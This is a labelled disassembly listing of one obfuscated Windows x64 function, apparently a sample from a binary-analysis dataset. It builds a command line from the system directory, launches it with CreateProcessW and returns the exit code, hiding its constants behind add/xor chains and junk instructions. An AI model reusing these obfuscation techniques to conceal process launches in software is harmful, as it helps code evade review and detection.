Function at 0x1401611c0
Capabilities:
Create process on windows
Encode data using xor
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
xchg rsi, r9
mov qword [rsp + 0x10], r9
xchg rsi, r9
push rbp
push rdi
nop
sub rsp, 8
mov qword [rsp], r12
nop
mov qword [rsp - 8], r14
sub rsp, 8
nop
mov qword [rsp - 8], r15
sub rsp, 8
lea rbp, [rsp - 0x210]
sub rsp, 0x310
xchg rdx, r11
mov r15, r11
xchg r11, rdx
xor edx, edx
mov r8d, 0x1c4f77
add r8d, 0x3dba0f09
add r8d, 0x1fa277c7
add r8d, 0x1e1eedd8
sub r8d, 0x1379523a
xor r8d, 0xa95e787
xor r8d, 0x2bed34c9
xor r8d, 0x4966a0a1
lea rcx, [rbp]
call sub.VCRUNTIME140.dll_memset
mov edx, 0x3a1b780f
add edx, 0x23b793eb
sub edx, 0x3dbd2bbb
add edx, 0x3123d1a7
sub edx, 0x34a7c0c4
sub edx, 0x1ac849ba
add edx, 0x4110fa49
sub edx, 0x2a685b50
sub edx, 0x1872455d
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xor r12d, r12d
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
lea rax, [rbp]
nop
movabs rsi, 0xffffffff0a083690
add rsi, 0x3afe5956
add rsi, 0x24ca70f
xor rsi, 0x3c1b9ba1
xor rsi, 0x76d5928f
add rsi, 0x2c8ea98f
xor rsi, 0x509c4979
xor rsi, 0x22cd6577
add rsi, 0x7fffffff
add rsi, 0x37853a9c
xchg rsi, rbx
mov rsi, rbx
xchg rbx, rsi
nop word [rax + rax]
inc rbx
cmp word [rax + rbx*2], r12w
jne 0x1401612fd
movabs r14, 0x7fffffff62cd8e00
sub r14, 0x5201172a
xor r14, 0x53e86b5b
sub r14, 0x226bdedd
add r14, 0x4563c6c9
add r14, 0x7fffffff
add r14, 0x19e3fa86
cmp rbx, r14
ja 0x140161904
mov qword [rsp + 0x68], 0x4b934fe3
xor qword [rsp + 0x68], 0x31ae8dd5
sub qword [rsp + 0x68], 0x4387a616
add qword [rsp + 0x68], 0x37672175
sub qword [rsp + 0x68], 0x3d7ec71
sub qword [rsp + 0x68], 0x41ec4a75
xor qword [rsp + 0x68], 0x33b21628
add qword [rsp + 0x68], 0x41bbca1f
sub qword [rsp + 0x68], 0x5da6da9f
cmp rbx, 8
jae 0x1401613cd
mov qword [rsp + 0x60], rbx
add rbx, rbx
xchg r8, rbx
mov rbx, r8
xchg r8, rbx
lea rdx, [rbp]
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov word [rsp + rbx + 0x50], r12w
jmp 0x14016144b
mov rax, rbx
or rax, 7
cmp rax, r14
ja 0x14016140a
mov r14, rax
mov ecx, 0x66a3dc9
xor ecx, 0x7b1a0746
sub ecx, 0x43455fa0
add ecx, 0x120b8b56
xor ecx, 0xec04d90
sub ecx, 0x42f62bcb
cmp rax, rcx
cmovb r14, rcx
lea rdx, [r14 + 1]
lea rcx, [rsp + 0x50]
call fcn.14002f920
xchg rdi, rax
mov rax, rdi
xchg rdi, rax
mov qword [rsp + 0x50], rax
xchg r11, rbx
mov qword [rsp + 0x60], r11
xchg r11, rbx
mov qword [rsp + 0x68], r14
add rbx, rbx
mov r8, rbx
lea rdx, [rbp]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov word [rbx + rdi], r12w
mov byte [rbp + 0x258], 0x30
add byte [rbp + 0x258], 7
add byte [rbp + 0x258], 0x38
sub byte [rbp + 0x258], 0x4b
add byte [rbp + 0x258], 4
add byte [rbp + 0x258], 0x27
xor byte [rbp + 0x258], 0x37
sub byte [rbp + 0x258], 0xa
xor byte [rbp + 0x258], 0x98
mov dword [rbp + 0x25a], 0x603c715b
sub dword [rbp + 0x25a], 0x326c776c
xor dword [rbp + 0x25a], 0xebc405e
xor dword [rbp + 0x25a], 0x6d1935e7
sub dword [rbp + 0x25a], 0x32fac65b
xor dword [rbp + 0x25a], 0xf2600fe
add dword [rbp + 0x25a], 0x620de07f
xor dword [rbp + 0x25a], 0x2e00ba03
xor dword [rbp + 0x25a], 0x5857e0e1
movzx edx, word [rbp + 0x25a]
movzx ecx, byte [rbp + 0x258]
add cx, dx
mov word [rbp + 0x25a], cx
mov byte [rbp + 0x258], 0x3b
sub byte [rbp + 0x258], 0x17
add byte [rbp + 0x258], 0x14
sub byte [rbp + 0x258], 0x24
add byte [rbp + 0x258], 0x16
sub byte [rbp + 0x258], 0x2a
lea rax, [rbp + 0x25a]
xchg rbp, rsi
mov rdi, rbp
xchg rsi, rbp
nop dword [rax]
inc rdi
cmp word [rax + rdi*2], 0
jne 0x14016153d
mov r14, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
xchg rcx, rax
mov rcx, rax
xchg rcx, rax
sub rax, r14
cmp rdi, rax
ja 0x1401615a6
lea rax, [r14 + rdi]
xchg rdi, rax
mov qword [rsp + 0x60], rdi
xchg rdi, rax
lea rbx, [rsp + 0x50]
cmp rcx, 8
cmovae rbx, qword [rsp + 0x50]
lea rcx, [rbx + r14*2]
lea r8, [rdi + rdi]
lea rdx, [rbp + 0x25a]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [r14 + rdi]
mov word [rbx + rax*2], r12w
jmp 0x1401615ce
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x25a]
movzx r8d, byte [rbp + 0x250]
xchg rdi, r14
mov rdx, r14
xchg r14, rdi
lea rcx, [rsp + 0x50]
call fcn.140034f90
nop
mov rax, r12
nop dword [rax + rax]
mov byte [rbp + rax + 0x25a], 0x71
xor byte [rbp + rax + 0x25a], 0x31
xor byte [rbp + rax + 0x25a], 2
sub byte [rbp + rax + 0x25a], 0x33
xor byte [rbp + rax + 0x25a], 0x4d
sub byte [rbp + rax + 0x25a], 0x42
inc rax
cmp rax, 2
jb 0x1401615d6
inc rsi
cmp word [r15 + rsi*2], 0
jne 0x140161613
mov rdi, qword [rsp + 0x60]
xchg rcx, r14
mov r14, qword [rsp + 0x68]
xchg r14, rcx
mov rax, rcx
sub rax, rdi
cmp rsi, rax
ja 0x14016167d
lea rax, [rdi + rsi]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp rcx, 8
cmovae rbx, qword [rsp + 0x50]
lea rcx, [rbx + rdi*2]
lea r8, [rsi + rsi]
xchg r15, rdx
mov r15, rdx
xchg r15, rdx
call sub.VCRUNTIME140.dll_memmove
lea rax, [rdi + rsi]
mov word [rbx + rax*2], r12w
jmp 0x1401616a6
xchg rbx, rsi
mov qword [rsp + 0x20], rbx
xchg rbx, rsi
xchg r9, r15
mov r15, r9
xchg r9, r15
movzx r8d, byte [rbp + 0x250]
mov rdx, rsi
lea rcx, [rsp + 0x50]
call fcn.140034f90
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x6c], xmm0
xchg rbp, r10
movups xmmword [r10 - 0x5c], xmm0
xchg r10, rbp
xchg rbp, r15
movups xmmword [r15 - 0x4c], xmm0
xchg r15, rbp
xchg rbp, r12
movups xmmword [r12 - 0x3c], xmm0
xchg r12, rbp
xchg rbp, r10
movups xmmword [r10 - 0x2c], xmm0
xchg rbp, r10
xchg r14, rbp
movups xmmword [r14 - 0x1c], xmm0
xchg r14, rbp
mov dword [rbp - 0xc], eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
mov dword [rbp + 0x250], 0x2487367e
add dword [rbp + 0x250], 0x377d152a
sub dword [rbp + 0x250], 0x4d89c4e9
add dword [rbp + 0x250], 0x1f8b4505
xor dword [rbp + 0x250], 0x773d5c0f
sub dword [rbp + 0x250], 0x593897ca
mov dword [rbp - 0x70], 0x1dc819
xor dword [rbp - 0x70], 0x5ba66499
add dword [rbp - 0x70], 0x9c3e799
sub dword [rbp - 0x70], 0x49f73fcd
add dword [rbp - 0x70], 0x3a65c37e
xor dword [rbp - 0x70], 0x635bfa9a
xor dword [rbp - 0x70], 0x36b5ed38
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae rdx, qword [rsp + 0x50]
lea rax, [rsp + 0x70]
xchg r13, rax
mov qword [rsp + 0x48], r13
xchg r13, rax
lea rax, [rbp - 0x70]
xchg r11, rax
mov qword [rsp + 0x40], r11
xchg r11, rax
xchg r12, r8
mov qword [rsp + 0x38], r8
xchg r8, r12
xchg rbx, r12
mov qword [rsp + 0x30], rbx
xchg r12, rbx
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
xchg r12, rcx
mov r12, qword [rsp + 0x78]
xchg rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0xbf4cfe4
add edx, 0x4353a607
xor edx, 0x126ec727
xor edx, 0x751c31fd
add edx, 0x52db4598
sub edx, 0x31f4f7a1
sub edx, 0x155c802a
sub edx, 0x30ef0b8e
add edx, 0xfd2aba8f
xchg r9, rcx
mov r9, qword [rsp + 0x70]
xchg r9, rcx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rbp + 0x250]
xchg r15, rcx
mov r15, qword [rsp + 0x70]
xchg rcx, r15
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [rbp + 0x250]
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x14016189b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
xchg rcx, rax
mov rcx, rax
xchg rcx, rax
cmp rdx, 0x1000
jb 0x140161896
neg rdx
add rdx, 0xffffffffffffffd9
neg rdx
mov rcx, qword [rcx - 8]
sub rax, rcx
neg rax
add rax, 8
neg rax
cmp rax, 0x1f
jbe 0x140161896
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401fc5cc
mov eax, ebx
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x30]
xchg r10, rsi
mov r10, qword [r11 + 0x38]
xchg rsi, r10
mov rsp, r11
push rcx
push rdx
push rax
xchg qword [rsp + 0x18], r15
add rsp, 0x20
push rbx
push rcx
push rax
push rdx
push rcx
xchg qword [rsp + 0x28], r14
add rsp, 0x30
nop
mov r12, qword [rsp]
add rsp, 8
nop
xchg qword [rsp], rdi
add rsp, 8
push rcx
push rbx
push rcx
push rcx
push rcx
push rbx
push rdx
push rdx
xchg qword [rsp + 0x40], rbp
pop rdx
pop rdx
pop rbx
pop rcx
pop rcx
pop rcx
pop rbx
pop rcx
add rsp, 8
nop
add rsp, 8
jmp qword [rsp - 8]
call fcn.14002f8e0
int3